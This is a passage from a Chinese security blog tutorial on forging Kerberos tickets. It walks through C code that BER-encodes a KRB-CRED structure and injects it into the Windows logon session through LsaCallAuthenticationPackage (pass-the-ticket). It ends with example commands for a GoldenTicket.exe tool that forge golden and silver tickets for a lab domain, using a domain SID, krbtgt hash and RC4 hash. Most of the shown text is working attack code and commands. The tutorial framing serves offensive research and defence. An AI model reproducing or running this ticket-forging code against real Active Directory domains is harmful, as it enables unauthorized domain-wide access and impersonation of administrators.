                        ber_printf(pBerEnc, (PSTR)"t{{t{{{t{", MAKE_APP_TAG(ID_APP_ENCKRBCREDPART), MAKE_CTX_TAG(ID_CTX_ENCKRBCREDPART_TICKET_INFO), MAKE_CTX_TAG(ID_CTX_KRBCREDINFO_KEY));
                        GreateSequenceEncryptionKey(pBerEnc, pTicket->KeyType, pTicket->Key.Value, pTicket->Key.Length);
                        ber_printf(pBerEnc, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_KRBCREDINFO_PREALM));
                        ASN1GeneralStringFromUnicodeString(pBerEnc, &pTicket->AltTargetDomainName);
                        ber_printf(pBerEnc, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_KRBCREDINFO_PNAME));
                        CreateSequencePrincipalName(pBerEnc, pTicket->ClientName);
                        ber_printf(pBerEnc, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_KRBCREDINFO_FLAGS));
                        ASN1BitStringFromULONG(pBerEnc, pTicket->TicketFlags);
                        ber_printf(pBerEnc, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_KRBCREDINFO_STARTTIME));
                        ASN1GeneralizedTimeFromFileTime(pBerEnc, &pTicket->StartTime);
                        ber_printf(pBerEnc, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_KRBCREDINFO_ENDTIME));
                        ASN1GeneralizedTimeFromFileTime(pBerEnc, &pTicket->EndTime);
                        ber_printf(pBerEnc, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_KRBCREDINFO_RENEW_TILL));
                        ASN1GeneralizedTimeFromFileTime(pBerEnc, &pTicket->RenewUntil);
                        ber_printf(pBerEnc, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_KRBCREDINFO_SREALM));
                        ASN1GeneralStringFromUnicodeString(pBerEnc, &pTicket->DomainName);
                        ber_printf(pBerEnc, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_KRBCREDINFO_SNAME));
                        CreateSequencePrincipalName(pBerEnc, pTicket->ServiceName);
                        ber_printf(pBerEnc, (PSTR)"}}}}}}");

                        if (ber_flatten(pBerEnc, &pBerValEnc) >= 0)
                        {
                                CreateSequenceEncryptedData(pBer, KERB_ETYPE_NULL, 0, pBerValEnc->bv_val, pBerValEnc->bv_len);
                        }
                        ber_free(pBerEnc, 1);
                }
                ber_printf(pBer, (PSTR)"}}}");
                ber_flatten(pBer, &pBerVal);
                ber_bvfree(pBerValEnc);
                ber_free(pBer, 1);
        }
        return pBerVal;
}

首先构建KRB-CRED结构的pvno和msg-type成员:

ber_printf(pBer, (PSTR)"t{{t{i}t{i}t{", MAKE_APP_TAG(ID_APP_KRB_CRED), MAKE_CTX_TAG(ID_CTX_KRB_CRED_PVNO), KERBEROS_VERSION, MAKE_CTX_TAG(ID_CTX_KRB_CRED_MSG_TYPE), ID_APP_KRB_CRED, MAKE_CTX_TAG(ID_CTX_KRB_CRED_TICKETS));

然后开始前面构造并临时存储的票据结构封装到KRB-CRED结构中:

ber_printf(pBer, (PSTR)"{t{{t{i}t{", MAKE_APP_TAG(ID_APP_TICKET), MAKE_CTX_TAG(ID_CTX_TICKET_TKT_VNO), KERBEROS_VERSION, MAKE_CTX_TAG(ID_CTX_TICKET_REALM));

ASN1GeneralStringFromUnicodeString(pBer, &pTicket->DomainName);
ber_printf(pBer, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_TICKET_SNAME));
CreateSequencePrincipalName(pBer, pTicket->ServiceName);
ber_printf(pBer, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_TICKET_ENC_PART));
CreateSequenceEncryptedData(pBer, pTicket->TicketEncType, pTicket->TicketKvno, pTicket->EncTicketPart.Value, pTicket->EncTicketPart.Length);
ber_printf(pBer, (PSTR)"}}}}");

需要按照前文中描述的Ticket在ASN.1中的定义形式,包括tkt-vno、realm、sname和enc-part四个成员:

Ticket          ::= [APPLICATION 1] SEQUENCE {
        tkt-vno         [0] INTEGER (5),
        realm           [1] Realm,
        sname           [2] PrincipalName,
        enc-part        [3] EncryptedData -- EncTicketPart
}

之后,开始构造KRB-CRED结构的enc-part成员,包括 ticket-info、nonce、timestamp、usec、s-address和r-address成员,但是这里至构建了ticket-info这一个成员,其他成员都是可选的。

ber_printf(pBer, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_KRB_CRED_ENC_PART));
if (pBerEnc = ber_alloc_t(LBER_USE_DER))
{
        ber_printf(pBerEnc, (PSTR)"t{{t{{{t{", MAKE_APP_TAG(ID_APP_ENCKRBCREDPART), MAKE_CTX_TAG(ID_CTX_ENCKRBCREDPART_TICKET_INFO), MAKE_CTX_TAG(ID_CTX_KRBCREDINFO_KEY));
        GreateSequenceEncryptionKey(pBerEnc, pTicket->KeyType, pTicket->Key.Value, pTicket->Key.Length);
        ber_printf(pBerEnc, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_KRBCREDINFO_PREALM));
        ASN1GeneralStringFromUnicodeString(pBerEnc, &pTicket->AltTargetDomainName);
        ber_printf(pBerEnc, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_KRBCREDINFO_PNAME));
        CreateSequencePrincipalName(pBerEnc, pTicket->ClientName);
        ber_printf(pBerEnc, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_KRBCREDINFO_FLAGS));
        ASN1BitStringFromULONG(pBerEnc, pTicket->TicketFlags);
        ber_printf(pBerEnc, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_KRBCREDINFO_STARTTIME));
        ASN1GeneralizedTimeFromFileTime(pBerEnc, &pTicket->StartTime);
        ber_printf(pBerEnc, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_KRBCREDINFO_ENDTIME));
        ASN1GeneralizedTimeFromFileTime(pBerEnc, &pTicket->EndTime);
        ber_printf(pBerEnc, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_KRBCREDINFO_RENEW_TILL));
        ASN1GeneralizedTimeFromFileTime(pBerEnc, &pTicket->RenewUntil);
        ber_printf(pBerEnc, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_KRBCREDINFO_SREALM));
        ASN1GeneralStringFromUnicodeString(pBerEnc, &pTicket->DomainName);
        ber_printf(pBerEnc, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_KRBCREDINFO_SNAME));
        CreateSequencePrincipalName(pBerEnc, pTicket->ServiceName);
        ber_printf(pBerEnc, (PSTR)"}}}}}}");

        if (ber_flatten(pBerEnc, &pBerValEnc) >= 0)
        {
                CreateSequenceEncryptedData(pBer, KERB_ETYPE_NULL, 0, pBerValEnc->bv_val, pBerValEnc->bv_len);
        }
        ber_free(pBerEnc, 1);
}

其中,ticket-info成员是KrbCredInfo类型的序列,包含以下信息,主要来自于封装的票据中的EncTicketPart部分成员,如下所示:

KrbCredInfo     ::= SEQUENCE {
        key             [0] EncryptionKey,
        prealm          [1] Realm OPTIONAL,
        pname           [2] PrincipalName OPTIONAL,
        flags           [3] TicketFlags OPTIONAL,
        authtime        [4] KerberosTime OPTIONAL,
        starttime       [5] KerberosTime OPTIONAL,
        endtime         [6] KerberosTime OPTIONAL,
        renew-till      [7] KerberosTime OPTIONAL,
        srealm          [8] Realm OPTIONAL,
        sname           [9] PrincipalName OPTIONAL,
        caddr           [10] HostAddresses OPTIONAL
}

最后,通过 ber_flatten( )函数,获取KRB_CRED结构经过BER编码规则编码的任意二进制数据并返回。

至此,所有构造工作都已完成,我们可以将构建好的KRB-CRED结构数据通过票据传递提交到内存中,如下所示:

if (isPtt)
{
        status = KerberosPTT(BerAppKrbCred->bv_val, BerAppKrbCred->bv_len);
        if (!status)
        {
                wprintf(L"[-] Failed to pass the kerberos ticket.n");
                return status;
        }
        wprintf(L"   * Golden ticket for '%s @ %s' successfully submitted for current session.n", lpUser, lpDomain);
}

票据传递


票据传递的主要功能函数是KerberosPTT( ),该函数定义如下:

BOOL KerberosPTT(PVOID encodedTicket, ULONG encodedTicketSize)
{
        BOOL status = FALSE;
        NTSTATUS packageStatus;
        PKERB_SUBMIT_TKT_REQUEST pKerbSumbitRequest;
        PVOID pKerbSumbitResponse;
        ULONG submitBufferLength, returnBufferLength;

        submitBufferLength = sizeof(KERB_SUBMIT_TKT_REQUEST) + encodedTicketSize;
        pKerbSumbitRequest = (PKERB_SUBMIT_TKT_REQUEST)LocalAlloc(LPTR, submitBufferLength);

        pKerbSumbitRequest->MessageType = KerbSubmitTicketMessage;
        pKerbSumbitRequest->KerbCredSize = encodedTicketSize;
        pKerbSumbitRequest->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);
        RtlCopyMemory((PBYTE)pKerbSumbitRequest + pKerbSumbitRequest->KerbCredOffset, encodedTicket, encodedTicketSize);

        status = NT_SUCCESS(LsaCallAuthenticationPackage(hLSA, AuthenticationPackage, pKerbSumbitRequest, submitBufferLength, &pKerbSumbitResponse, &returnBufferLength, &packageStatus));
        if (!status || !NT_SUCCESS(packageStatus))
        {
                wprintf(L"[-] LsaCallAuthenticationPackage Error [%u].n", GetLastError());
                return status;
        }

        wprintf(L"   * Submit ticket : OK.n");
        LocalFree(pKerbSumbitRequest);
        return status;
}

这里还需要补充一点知识。

KERB_SUBMIT_TKT_REQUEST

KERB_SUBMIT_TKT_REQUEST结构用于向Kerberos颁发机构(KDC)提交票据请求。该结构体没有公开在微软文档中,其定义如下:

typedef struct _KERB_SUBMIT_TKT_REQUEST {
    KERB_PROTOCOL_MESSAGE_TYPE MessageType;
    LUID LogonId;
    ULONG Flags;
    KERB_CRYPTO_KEY32 Key; // key to decrypt KERB_CRED
    ULONG KerbCredSize;
    ULONG KerbCredOffset;
} KERB_SUBMIT_TKT_REQUEST, *PKERB_SUBMIT_TKT_REQUEST;  
  • MessageType:标识正在发出的请求类型的 KERB_PROTOCOL_MESSAGE_TYPE值。此成员必须设置为 KerbSubmitTicketMessage。
  • Key:用于解密Kerberos凭据(KRB_CRED)的加密密钥。
  • KerbCredSize:表示KRB_CRED数据的大小(以字节为单位),即 KRB_CRED凭据的长度。
  • KerbCredOffset:表示KRB_CRED数据在整个消息中的偏移量,即 Kerberos凭据的起始位置。
KerbSubmitTicketMessage调度例程从KDC获取票证并更新票证缓存。需要SeTcbPrivilege才能访问另一个登录帐户的票证缓存。
在 LsaCallAuthenticationPackage( )函数中使用 KERB_SUBMIT_TKT_REQUEST时,需要扩展 KERB_SUBMIT_TKT_REQUEST结构体的大小,将KRB_CRED数据追加到KERB_SUBMIT_TKT_REQUEST结构后面,并将KRB_CRED数据在整个KERB_SUBMIT_TKT_REQUEST消息中的偏移量给到 KerbCredOffset。
Mimikatz的kerberos::ptt通过LsaCallAuthenticationPackag函数发送 KERB_SUBMIT_TKT_REQUEST消息,将现有的Kerberos票据传递(文件或二进制数据)到内存中。
KerberosPTT( )函数首先声明了一个KERB_SUBMIT_TKT_REQUEST 结构的指针变量pKerbSumbitRequest。然后扩展了 KERB_SUBMIT_TKT_REQUEST结构的大小,如下所示:
submitBufferLength = sizeof(KERB_SUBMIT_TKT_REQUEST) + encodedTicketSize;
pKerbSumbitRequest = (PKERB_SUBMIT_TKT_REQUEST)LocalAlloc(LPTR, submitBufferLength);

这里pKerbSumbitRequest在原来sizeof(KERB_SUBMIT_TKT_REQUEST)大小的基础上增加了encodedTicketSize,以保证后续将票据数据追加到pKerbSumbitRequest指向的内存中。

然后设置pKerbSumbitRequest中的成员,必须将MessageType成员设为KerbSubmitTicketMessage,KerbCredSize设为之前构建好的KRB-CRED结构数据的大小,KerbCredOffset设置追加KRB-CRED数据相对于KERB_SUBMIT_TKT_REQUEST结构起始位置的偏移量,并通过RtlCopyMemory将票据数据追加到pKerbSumbitRequest扩展出来的内存中,如下所示:

pKerbSumbitRequest->MessageType = KerbSubmitTicketMessage;
pKerbSumbitRequest->KerbCredSize = encodedTicketSize;
pKerbSumbitRequest->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);
RtlCopyMemory((PBYTE)pKerbSumbitRequest + pKerbSumbitRequest->KerbCredOffset, encodedTicket, encodedTicketSize);

最后,通过调用LsaCallKerberosPackage( )函数发送KerbSubmitTicketMessage 消息请求,将该票据提交到当前会话缓存中,完成票据传递过程。

status = NT_SUCCESS(LsaCallAuthenticationPackage(hLSA, AuthenticationPackage, pKerbSumbitRequest, submitBufferLength, &pKerbSumbitResponse, &returnBufferLength, &packageStatus));



看下执行效果


执行以下命令,伪造一个黄金票据。如下图所示,伪造票据后,成功通过P**ec获取目标服务器权限。

GoldenTicket.exe /user:Administrator /domain:pentest.com /sid:S-1-5-21-1536491439-3234161155-253608391 /krbtgt:6b88c9ed6723e3de59eb76f5b73f6a69 /ptt

以攻促防丨霄壤实验室安全研究员亲传「如何自己伪造kerberos票据」

执行以下命令,伪造一个目标服务器上 LDAP 服务的白银票据,并传递到内存中,如下图所示:

GoldenTicket.exe /domain:pentest.com /sid:S-1-5-21-1536491439-3234161155-253608391 /target:dc01.pentest.com /rc4:8236c3452e65add7b5756945975fd883 /service:ldap /user:Administrastor /ptt

以攻促防丨霄壤实验室安全研究员亲传「如何自己伪造kerberos票据」


说在最后


Kerberos协议并不是安全的。近年来,安全研究员们不断通过各种手法进行利用,今天分享的票据伪造就是其中一种。并且,随着近年来对中继Kerberos身份验证方面的相关研究,也一举反驳了多年以来不能中继Kerberos的观点。

文章是本人结合实际操作总结的原创分享,内容如有异议,欢迎各位大佬批评指正。下期我会分享Kerberos Relay的相关内容,请及时关注公众号后续推文。

以攻促防丨霄壤实验室安全研究员亲传「如何自己伪造kerberos票据」

原文始发于微信公众号(i春秋):以攻促防丨霄壤实验室安全研究员亲传「如何自己伪造kerberos票据」

版权声明:admin 发表于 2023年7月12日 下午5:20。
转载请注明:以攻促防丨霄壤实验室安全研究员亲传「如何自己伪造kerberos票据」 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...